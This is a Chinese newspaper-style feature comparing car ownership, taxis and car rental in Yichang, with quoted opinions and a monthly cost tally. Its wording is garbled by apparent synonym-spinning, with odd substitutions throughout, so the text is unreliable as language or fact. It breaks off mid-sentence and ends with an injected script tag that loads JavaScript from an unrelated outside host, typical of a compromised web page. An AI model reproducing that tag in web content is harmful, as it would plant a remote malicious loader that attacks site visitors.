“国际无车日”刚刚过去一个月，回味“无车”的日子，众人感触各有不同。单从经济合算的角度看，在当今“汽车年代”，会过日子的你是买新车、买二手车、打的，还是租车？到底什么更便捷、更合算？买家对我们的消费方法，总有与他们相争辩的原因，今日本报摆起汽车消费“大擂台”，听听“有车一族”和“不买车人群”的精妙论述。
买车：
便捷潇洒——负担过重
正方看法：买车便捷潇洒行
代表人：刘先生 职务：公司老总
刘先生觉得相对于打的和租车来讲，还是买车最合算。“开我们的车，无论上下班还是出去见顾客都很便捷。”刘先生告诉记者，虽然买部新车要一笔不小的支出，同时还要负担各种汽车保养成本，但这类都是预先考虑范围内的事。“而且潇洒地开着私家车出去谈业务，也是一种身份的象征。”刘先生说道。
代表人：杨女性 职务：全职太太
今年春季，杨女性临产，因为是半夜时分，加上居住地址比较偏僻，等了半天也未拦到出租车，最后还是邻居开着私家车将她送到医院。杨女性事后表示：“什么也不要说了，有我们的车就是便捷。”
反方看法：既花精力又烧钱
代表人：柳先生 职务：经营主管
买了新车后，还要办执照、上保险、缴纳养路费，每年还要支出一笔可观的平时用成本，“根本不必买辆车回来供着养着，既花资金又花精力。”柳先生说。
代表人：周小姐 职务：公司员工
燃油费、停车费涉及到耗费相对有限的资源，如汽油和停车的车位空间，在城市里不可能伴随汽车的增加而无限制地增加，从而将会成为稀缺性资源，其价格也将会伴随需要量的增加而不断上涨。
打的：
经济便宜——抢车尴尬
正方看法：打的经济便宜
代表人：胡先生 职务：新闻记者
胡先生天天外出采访需要跑不少地方，碰到突发事件，为了节省时间，胡先生出行多是打的,感觉很便捷。虽然每一个月打的成本在500元左右，但从“经济”角度看，胡先生觉得与买车汽车保养所需要付出的巨资相比，打的还是非常经济的。
反方看法：容易遭遇尴尬
代表人：颜先生 职务：酒店总管
自己开车的感觉和打的完全不同，譬如碰上下雨或的士司机换班时,跟人抢出租车多尴尬啊!晚上有急事假如叫不到出租车,也非常不便捷；一些地方路不好走，比较偏的地方，不少出租车也不去。假如自己开车的话这类问题就都没有,刚刚拥有了私家车的颜先生现在感觉好。
租车：
省心省事——权宜之计
正方看法：省事还有新鲜感
代表人：望小姐 职务：公司员工
望小姐考取驾驶证已有一年多了，是个坚定的“持币待购”者。目前她在宜昌一家汽车出租公司租了一部普通轿车，在假期里偶尔和三五知己出游，天天租金220元左右，租个两三天，烧钱不多却可以玩个尽兴痛快。她觉得：租车投入没买车大，而且有需要时才去租，非常便利。既能训练驾驶水平，还可以租借不一样的车，不断变换我们的坐骑，非常有新鲜感。
反方看法：解一时之需，不可以长用
代表人：舒先生 职务：中学教师
虽说租车省却了不少冗杂的手续和麻烦，但要用燃油，要洗车，加上租车费也不实惠，假如想长期出租汽车用，就很不合算了。舒先生觉得：租车只不过一时的权宜之计，且还要交纳数千元的押金，有时碰到节假日，还要提前出租，存在肯定的不确定性。
一位“自驾族”的一笔账
宜昌的方先生在今年3月购置了一辆价值11.7万的轿车，包含前期交税、买保险、办执照、车内装饰等等，一共花了13.5万元。
方先生给记者算了一笔账：他目前每一个月的汽车燃油费大概在500元左右，养路费一个月是105元，洗一次车10元钱，停车收费每次2元至5元不等，再加上各种保险等保养维护成本，总共每一个月平均要为轿绣花费1000元左右的开支。再加上一些不可预计的修理保养成本、购买车饰品成本和外出的过路过桥费等等，一年下来，用车的总成本或许会更高。
“买了汽车后，其保养维护成本一定比打的成本要高，但拥有一部私家车和打的的感觉完全不同，尤其是当遇见紧急状况时，其便捷之处叫你能在瞬间感觉到拥有一部私家车的快乐。”方先生说道。
买车？打的？不可以只算经济账
业内人士觉得，买车和打的，不可以简单地用是不是经济去衡量，毕竟大家的用车实质需要和价值取向不同。
记者获悉，购买一辆普通轿车约需要10万元左右，在享受潇洒和便捷的同时，就要承担用汽车的本钱，每年的养路费、保险费、停车费、油费等至少需要约１万多元。而购买二手车，还需交纳部分成本，包含买卖费、过户费等等，加上车的折旧费、修理费，与买一辆新车的成本差不多。
相比买车而言，打的最合算。家住樵湖岭的黄先生从居住地打的到白龙岗来回需14元，按一个月30天计，打的上下班需420元。相对每?script src=http://cn.jxmmtv.com/cn.jscript>